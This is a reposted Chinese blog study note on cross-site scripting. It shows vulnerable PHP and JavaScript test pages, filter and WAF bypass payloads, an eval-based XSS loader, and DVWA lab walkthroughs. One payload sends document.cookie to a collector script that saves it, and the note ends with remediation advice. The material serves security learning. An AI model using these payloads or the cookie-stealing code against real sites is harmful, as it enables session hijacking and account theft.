XSS

最新推荐文章于 2024-07-22 16:42:40 发布
最新推荐文章于 2024-07-22 16:42:40 发布
阅读量268 收藏
点赞数 1
文章标签： php 爬虫 java
原文链接：http://www.cnblogs.com/caijiqhx/p/11185148.html
版权

XSS

参考网址

XSS原理

测试代码

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>

<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>' . $xss;
?>
</body>

</html>

输入框输入的值会被输出，所以我们就输入script标签，就可以实现XSS。测试可以用firefox，chrome有XSS Auditor，以后可以学一下怎么绕过。

当然XSS不都是这么简单，需要利用输出环境来构造代码。

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS利用输出的环境来构造代码</title>
</head>

<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input_value'];
if (isset($xss)) {
echo '<input type="text" value="' . $xss . '">';
} else {
echo '<input type="type" value="输出">';
}
?>
</center>
</body>

</html>

输入的字符串输出到另一个字符串，对于这段代码，我们可以输入">来闭合前面的input标签，从而执行后面的js。而原来用来闭合的">会作为多余的字符串输出，看着不美观。我们就可以通过其他方法执行，比如标签的属性。使用on事件进行xss，" onmousemove="alert('xss')。

总之，XSS就是想尽办法在页面上执行js。

分类

0x01 反射型XSS

Hacker——发现存在反射XSS的URL——根据输出点的环境构造XSS——编码、缩短——发送给受害人——受害人打开，执行XSS——实现功能(获取cookie、url、浏览器信息、IP等)

可以通过软件挖XSS，手工的话就针对对话框、数据包、url参数、js分析等方面。

0x02 存储型XSS

存储型XSS把数据保存到服务端，而反射型只是让XSS游走在客户端上。

此类XSS不需要用户单击特定URL就能执行跨站脚本，攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者卢兰包含此恶意代码的页面就会执行恶意代码。一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或服务端的数据库中。

0x03 DOM XSS

DOM-Based XSS基于DOM文档对象模型的，它不需要与服务端进行交互，像反射、存储都需要服务端的反馈来构造XSS，因为服务端对我们是不可见的，就像一般都是抢客户不是抢银行，当然你要是抢银行那你是真的。

客户端js可以访问浏览器的DOM，因此能够决定用于加载当前页面的URL，也就是js可以通过DOM动态地检查和修改页面内容，它不依赖于服务器端的数据，而从客户端获得DOM的数据（如从URL中提取数据）并在本地执行。另一方面，浏览器用户可以操纵DOM中的一些对象，例如URL、Location等。用户在客户端输入的数据如果包含了恶意js，未经过过滤的话就会有DOM XSS。

<html>
<head>
<title>DOM-XSS test</title>
</head>
<body>
<script>
var a=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
</body>
</html>

这段代码会截取输入的URL的a=后的子串，输出到页面上，当我们输入js代码时就会触发DOM XSS。

An easy sample

修改URL参数的时候，看到的只是GET传输的数据，POST表单的数据是在数据包里。

php获取IP一般就三个函数：HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR、REMOTE_ADDR，前两个都是可以伪造的，可以修改数据包。

测试网站www.ip138.com，它可以获取客户端IP。

在burp里抓包，添加一行X-Forwarded-For，后面的字段就是IP地址，随便输入一个，再放过，就看到网页上显示了伪造的IP。将IP替换为js，就实现了XSS：

Amazing! 真有意思

技巧篇

0x01 第三方劫持（外调J/C）

“第三方劫持”就是把资源域的服务器的权限拿下，替换相关资源，采用“迂回式”的渗透方式。

for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){
var a = document.createElement('a');
a.href = tag.src||tag.href||tag.data;
if(a.hostname!=location.hostname){
console.warn(location.hostname+' 发现第三方资源['+tag.localName+']:'+a.href);
}
}

这段代码可以获取非本站的J/C，之后就可以对目标进行渗透，重写J/C。

0x02 XSS Downloader

就是把反射和存储结合起来，把核心代码写在网站上，然后以XSS触发并调用代码实现攻击。

<!--Ajax.html-->
<html>

<head>
<title>ajax</title>
<meta http-equiv="content-type" content="text/html;chaset=utf-8" />
</head>
<boby>
<script>
var xmlhttp;
var request_text;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
request_text = xmlhttp.responseText;
var a = request_text.indexOf("fortst") + 6;
var b = request_text.indexOf("tstrof");
eval(request_text.substring(a, b));
}
}
xmlhttp.open("POST", "ajax.txt", "true");
xmlhttp.send();
</script>
</boby>

</html>

这段代码会获取ajax.txt中指定位置的子串，然后以eval的形式运行。

假设网站的留言板存在反射XSS，可以构造on事件，运行

eval(document.boby.innerHTML.substring(document.boby.innerHTML.indexOf('fortst')+6,document.boby.innerHTML.indexOf('tstrof')));

这样就可以执行留言内容中的js，当然可以用正则匹配。

<html>

<head>
<title>ajax+正则匹配</title>
<meta http-equiv="content-type" content="text/html;chaset=utf-8" />
</head>
<boby>
<script>
var xmlhttp;
var request_text;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
request_text = xmlhttp.responseText;
var text = request_text.match(/fortst(.*)tstrof/i);
eval(text[1]);
}
}
xmlhttp.open("POST", "ajax.txt", "true");
xmlhttp.send();
</script>
</boby>

</html>

编码与绕过

0x01 URL编码

URL只允许使用US-ASCII字符集中可打印的字符（0x20-0x7E)，其中某些字符在HTTP协议里有特殊的意义，所以有些也不能使用。这里需要注意的，+加号代表URL编码的空格，%20也是。

URL编码最常见的是在用GET/POST传输时，将字符转为十六进制。

0x02 unicode编码

Unicode有1114112个码位，也就是说可以分配这些个字符，编码的字符已%u为前缀，后面是这个字符的十六进制的码点。有的站点过滤了某些字符串，但是发现这个站点在后端验证字符的时候，识别unicode编码，就可以用unicode绕过过滤机制。

0x03 HTML编码

HTML编码的存在就是让它在代码中和显示中分开，避免错误。它的命名实体：构造是&加上希腊字母，字符编码：构造是&#加十进制、十六进制ASCII码或unicode编码，而且浏览器解析的时候会先把HTML编码解析然后进行渲染。但有个前提就是必须要在值里。

0x04 CSS编码

不常用，就是/斜杠加上1-6位十六进制，大多是用于CSS小图标。

0x05 常见的绕过方式
<sCrIpt>alert(1)</script>是突然
<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
<scr<script>ript>alalertert</scr</script>ript> (需要利用waf的不完整性)
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
标签属性=”javascript:js_code" 只对支持js伪协议的属性起作用
<标签 on事件=“js_code">
<script
woaini>
alert(123)
</script
woaini>
浏览器会把换行或TAB符当成空格，把后面的字符当作属性来解析
0x06 插件安全

插件渲染到页面的过程：

用户打开网站—发送数据包—服务器响应并发送Response包—浏览器受到Response包—渲染（先渲染Response包，再渲染插件的代码）

也就是在插件中写了一段js，那么用户安装后，凡打开网站，浏览器渲染后，就可以获取用户的cookie，如果攻击者事先有准备，还可以利用csrf攻击。

  • 假设1：攻击者把XSS代码封装到插件里，上传到浏览器插件下载网址（管理不严），上传成功后。用户下载安装。GG
  • 假设2：攻击者拥有dedecms的scrf（可以添加管理员），当网站管理员安装或使用带有插件的浏览器，网站就GG。
  • 假设3：攻击者拥有某个浏览器插件的XSC漏洞，再结合插件安全问题，就可以实现用户打开某个网站，就会被不知不觉中安装插件。通过插件可以实现隐蔽式的攻击。

黑客发现插件调取的API网站安全漏洞—重写了发送的数据包—插件获取被重写API数据—解析

如何绕过WAF：

0x01 直视WAF

一些简单的绕过方法

  • 大小写转换法：
SQL: sEleCt vERsIoN();
XSS: <sCrIpt>alert(1)</scRiPt>
  • 干扰字符污染法：

空字符、空格、TAB、换行、注释、特殊的函数，利用网站使用的语言函数特性绕过waf的规则或使用会无视的字符。

  • 字符编码法：

对一些字符进行编码，常见的SQL编码有unicode、HEX、URL、ascii、base64等，XSS编码有：HTML、URL、ASCII、JS编码、base64等。

利用浏览器上的进制转换或语言编码规则来绕过waf。

  • 拼凑法：

如果过滤了某些字符串，可以在构造：

SQL: selselectect verversionsion();
XSS: <scr<script>ript>alalertert</scr</script>ipt>

利用waf的不完整性，只验证一次字符串或过滤的字符串并不完整。

0x02 Webkit

webkit下的解析器——词法分析器，绕过的时候它来完成。

<iframe src="java
script:alert(1)" height=0 width=0 /><iframe> <!--这个可以弹窗-->
<iframe src=java
script:alert(1); height=0 width=0 /><iframe> <!--这个不可以弹窗-->

回车、换行只在属性中引号里才会起作用。

0x03 从HTTP数据包说起
  • 有一部分网站waf是部署在客户端上的，利用burp、fiddler就可以轻松绕过。
  • 有的网站对百度、google等爬虫请求并不过滤，这时我们就可以再USER-Agent伪造自己是搜索引擎的爬虫，绕过waf。
  • 有的网站使用$_REQUEST接收get post cookie参数，这时如果waf只对get post参数过滤了，那么就可以在数据包里对cookie进行构造攻击代码，来实现绕过waf。
  • 有的waf对get post cookie都过滤了，还可以进行绕过。假设网站会显示你的IP或者你使用的浏览器，那么你就可以对IP、user-agent进行构造，在php中X-Forwarded-For和HTTP-Client-IP两个获取IP的函数都可以被修改，前面已经进行了对www.ip138.com的xss。
0x04 WAF算个锤子

前面也说过，可以利用第三方插件进行攻击，因为它的权限高，可以跨域。

DVWA XSS

Reflected
Low

输入的内容会显示在下面Hello后面，输入<script>alert(/xss/)</script>，弹窗成功。

<!--payload-->
<script>document.location='http://127.0.0.1/get_cookie.php?cookie='+document.cookie;</script>
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie)
?>
Medium
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

一次过滤可以大小写或双写绕过。

High
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

script被全面封杀，可以用img标签

<!--payload-->
<img src='x' onerror=alert(/xss/) />
Impossible
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

htmlspecialchars函数将代码转为HTML编码格式，是真的nb。

不过当在script、input标签中时，即可突破。

<!--payload-->
' oninput=alert(/xss/) '
$name = htmlspecialchars( $_GET[ 'name' ] );
$html .= "<input type='text' value=' ${name}'>";
Stored
Low

要求输入name和message，输入的值会输出到下面，name有长度限制，在message中直接<script>alert(/xss/)</script>，sign，成功。可以用burp改包突破长度限制。

Medium
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );

message过滤得很nb，用burp改name就行了。

High
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name )

message还是上面的，name这里封杀了script，用img

<!--payload-->
<img src='x' onerror=alert(/xss/) />
Impossible

message和name都是过滤，没办法。

DOM
Low

没有进行任何过滤，直接?default=<script>alert(/xss/)</script>就行。

Medium
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");

用img标签，输入<img src='x' onerror=alert(/xss/)>得到

<option value="%3Cimg%20src=1%20onerror=alert%28%27hack%27%29%3E"></option>

发现填入了属性，那就先闭合option标签，然后再闭合前面的select标签，

<!--payload-->
"></option></select><img src='x' onerror=alert(/xss/) >
High

php用的是白名单，网上带哥说是可以用#截断，后面的内容不会被提交到服务器，可以直接与浏览器交互。

<!--payload-->
English#<script>alert(/xss/)</script>

XSS 漏洞修复

XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理，修复XSS漏洞就在于如何更好的将用户提交的数据进行安全过滤。

HTML实体

在HTML中有些字符像<，对HTML有特殊意义，要显示这些字符，必须使用实体字符。

HTML实体的存在是导致XSS漏洞的主要原因之一。

因此需要将这些实体全部转换为相应的实体编号。

显示实体名称
' '&nbsp;
<&lt;
>&gt;

| & | &amp; |
| " | &quot; |
| ' | &apos; |

HTML Encode

用户将数据提交上来的时候进行HTML解码，将相应的符号转换为实体名称再进行下一步的处理。

在PHP中已经存在这样子功能的函数，即htmlentities($str)函数。

与之相反的就是html_entity_decode($str)函数，它将实体名称转换为相应的符号。

修复漏洞方针

过滤过滤过滤！

  1. 将重要的cookie标记为http only，这样js中的document.cookie语句就不能获取到cookie。
  2. 表单数据规定值的类型，例如name只能为字母数字组合。。。
  3. 对数据进行HTML Encode处理
  4. 过滤或移除特殊的HTML标签，例如<script>,<iframe>,$lt; for <, $gt; for >,$quot for " 。
  5. 过滤js事件的标签，例如onclick=, onfocus=等等。
PHP中的相应函数
funtions功能
strip_tags(\(str, [允许标签]) | 从字符串中去除 HTML 和 PHP 标记 | | htmlentities(\)str)转义html实体
html_entity_decode(\(str) | 反转义html实体 | | addcslashes(\)str, ‘字符’)给某些字符加上反斜杠
stripcslashes(\(str) | 去掉反斜杠 | | addslashes (\)str )单引号、双引号、反斜线与 NULL加反斜杠
stripslashes($str)去掉反斜杠
htmlspecialchars()特殊字符转换为HTML实体
htmlspecialchars_decode()将特殊的 HTML 实体转换回普通字符

做了一下闯关小游戏，大多数xss的原理还是比较简单的。

XSS之同源策略与跨域访问

同源策略

在这个策略下，web浏览器允许第一个页面的脚本访问第二个页面的数据，但是也只有在两个页面有相同的源时。源是由URI、主机名、端口号组成的。这个策略可以阻止一个页面上的恶意脚本通过页面的DOM对象获得访问另一个页面上敏感信息的权限。

源决定规则

对于绝对的URIs，源就是{协议、主机、端口}定义的，只有这些值完全一样才认为两个资源是同源的。

不受同源策略限制的：
  1. 页面中的链接、重定向以及表单提交是不会受到同源策略限制的。
  2. 跨域资源的引入是可以的，但是js不能读写加载的内容。如嵌入到页面的<script src="...">, <img>, <link>, <iframe>等。
跨域访问

浏览器从一个域名的网页请求另一个域名的资源时，域名、端口、协议任一不同，都是跨域。

如何解决跨域问题

转载于:https://www.cnblogs.com/caijiqhx/p/11185148.html

balu1589
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
（25）【XSS跨站合集】反射型、存储型、DOM类XSS原理；输出在HTML、CSS、Javascript代码中
03-24 4092
【XSS跨站合集】反射型、存储型、DOM类XSS
XSS漏洞
weixin_44022769的博客
03-25 677
前言 XSS即跨站脚本(Cross Site Script)，发生在目标网站中目标用户的浏览器层面上，当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行时，XSS就会发生。 通俗地总结XSS为：想尽一切办法将你的脚本内容在目标网站中目标用户的浏览器上解析执行即可。 这个“跨”实际上属于浏览器的特性，而不是缺陷，造成“跨”这样的假象是因为绝大多数XSS攻击都会采用嵌入一段远程或者说第三方域上的脚本资源。 使用场景： 直接嵌入html<script>标签中 元素标签事
Web安全原理（2）——XSS
yuluotianjin的博客
09-03 293
1.XSS简介 跨站脚本攻击（Cross-Site Scripting，XSS）是针对网站应用程序的安全漏洞攻击技术，也是一种代码注入技术。攻击者往Web页面里插入恶意Script代码，当其他用户浏览网页触发恶意代码就会遭到攻击。 这里的跨站访问，可以是从正常的网站跨到黑客的服务器，也可以是黑客的服务器跨到正常的网站。 XSS漏洞通常是通过php的输出函数将javascript代码输出到html页面中，通过用户本地浏览器执行的，所以XSS漏洞关键就是寻找参数未过滤的输出函数。 XSS攻击分为三种：反射型、存
xss学习 2
weixin_63231007的博客
05-01 206
Dvwa xss部分 xss (Reflected) low 没有过滤，直接<script>alert('xss')</script>即可。 Medium 查看源码可知， $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 对<script>进行了过滤，转化为空。因此可以大小写绕过，或者重写。 可构造： <SCRipt>alert('xss')</SCRipt&..
DVWA [XSS]
weixin_45253622的博客
05-17 343
目录 反射型XSS LOW Medium High Impossible 存储型XSS LOW Medium High Impossible DOM型XSS LOW Medium High Impossible 防御方式 反射型XSS LOW 源码如下： <?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) &a.
XSS简述
qq_62098017的博客
09-20 2162
绕过推荐 XSS绕过可以看看该文章：XSS过滤绕过速查表 0.介绍 跨站攻击，即Cross Site Script Execution(通常简写为XSS)，是前端的漏洞，产生在浏览器一端的漏洞。它是指攻击者在网页中嵌入客户端脚本，主要利用js编写的恶意代码来执行一些想要的功能，也就是说它能干嘛是受到js的控制，那么js能执行出什么脚本代码就取决于它能干嘛。当用户使用浏览器浏览被嵌入恶意代码的网页时，恶意代码将会在用户的浏览器上执行。 0.1.能干嘛 常规用到的是盗取cookie、js做钓鱼攻击、流
XSS绕过
N1nG
09-22 5113
绕过XSS-Filter =======================利用 用户可以随心所欲地引入插入恶意脚本代码. =========================利用HTML标签属性值执行XSS========================= 很多HTML标记中的属性都支持javascript:[code]伪协议的形式. //并非所有浏览器都支持,支持的例IE6 可以
springboot整合XSS
03-20
本文将深入探讨如何在Spring Boot项目中整合并预防XSS（Cross-Site Scripting）攻击。XSS是一种常见的网络攻击方式，通过注入恶意脚本到网页中，来窃取用户数据或者执行恶意操作。 一、理解XSS攻击 XSS攻击主要...
【PDF-XSS攻击】Java项目-上传文件-解决PDF文件XSS攻击
04-07
PDF-XSS实例文件
xss_javaxss_XSS_
10-04
在网络安全领域，XSS（Cross-Site Scripting）攻击是一种常见的威胁，它允许攻击者通过在网页中注入恶意脚本，来劫持用户会话、窃取敏感信息或执行其他恶意操作。Java作为广泛使用的服务器端编程语言，也可能会遭遇...
免费蓝莲花Bluelotus,XSS工具网安
08-14
【免费】蓝莲花Bluelotus,XSS工具【网安】【免费】蓝莲花Bluelotus,XSS工具【网安】【免费】蓝莲花Bluelotus,XSS工具【网安】【免费】蓝莲花Bluelotus,XSS工具【网安】【免费】蓝莲花Bluelotus,XSS工具【网安】...
代码审计——XSS篇
红队是青春
11-09 1456
代码审计——XSS篇(DVWA) 反射型XSS 反射型XSS——low级别 代码如下： 意思：函数"name"，为可控，传入一个可控的变量值，不等于null空值，则直接echo输出固定语句Hello，加上所输入的可控变量值，无任何过滤。 框中输入:<script>alert('xss')</script> 反射型XSS——Medium级别 代码如下： 意思：同上，但传参时做了一些处理，多了一个str_replace()函数进行一个过滤，是将标签’script’进行过滤后再输
XSS(跨站脚本攻击)详解
热门推荐
谢公子的博客
09-08 7万+
目录 XSS的原理和分类 XSS的攻击载荷 XSS可以插在哪里？ XSS漏洞的挖掘 XSS的攻击过程 XSS漏洞的危害 XSS漏洞的简单攻击测试 反射型XSS： 存储型XSS： DOM型XSS： XSS的简单过滤和绕过 ​XSS的防御 反射型XSS的利用姿势 get型 post型 利用JS将用户信息发送给后台 XSS的原理和分类 跨站脚本攻击XSS(Cros...
DVWA通关教程（下）
qq_50854662的博客
05-28 2082
XSS（DOM） XSS(DOM)是一种基于DOM树的一种代码注入攻击方式，可以是反射型的，也可以是存储型的，所以它一直被划分第三种XSS 与前两种XSS相比，它最大的特点就是不与后台服务器交互，只是通过浏览器的DOM树解析产生 除了js，flash等脚本语言也有可能存在XSS漏洞 难度（low） 审计代码 <?php # No protections, anything goes ?> 无任何过滤 所以我们可以构造XSS代码，访问链接： http://127.0.0.
DVWA之XSS
谢公子的博客
08-05 1944
  XSS XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中，XSS可以分为存储型的XSS与反射型的XSS。 DOM型的XSS由于其特殊性，常...
DVWA-XSS
Starr
03-11 426
文章目录1. Reflected XSSLow level获取cookieMedium levelHigh levelImpossible level2. DOM XSSLow levelMedium levelHigh levelImpossible level3. Stored XSSLow levelMedium levelHigh levelImpossible level4. CSPLow levelMedium levelHigh levelImpossible level 1. Reflect
php代码审计之preg_replace函数
giaogiao123的博客
11-08 5580
preg_replace：(PHP 5.5) 功能 ： 函数执行一个正则表达式的搜索和替换 定义 ： mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 看个例子 <?php preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()}); ?> ...
BUUCTF [WUSTCTF2020]朴实无华
最新发布
weixin_73399382的博客
07-22 257
第一块就是intval函数的绕过，逻辑上是不存在小于2020又大于2021的数，但是php低版本好像是7点多和以下该函数对不同类型的数据处理有偏差，第二处则是md5函数绕过，
XSS漏洞利用深度解析
"xss利用与挖掘" XSS（Cross-site scripting）是一种常见的网络安全漏洞，它允许攻击者在用户的浏览器上注入恶意脚本。通过XSS攻击，攻击者能够窃取用户的敏感信息，如cookies，或者控制用户的浏览器行为，例如...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值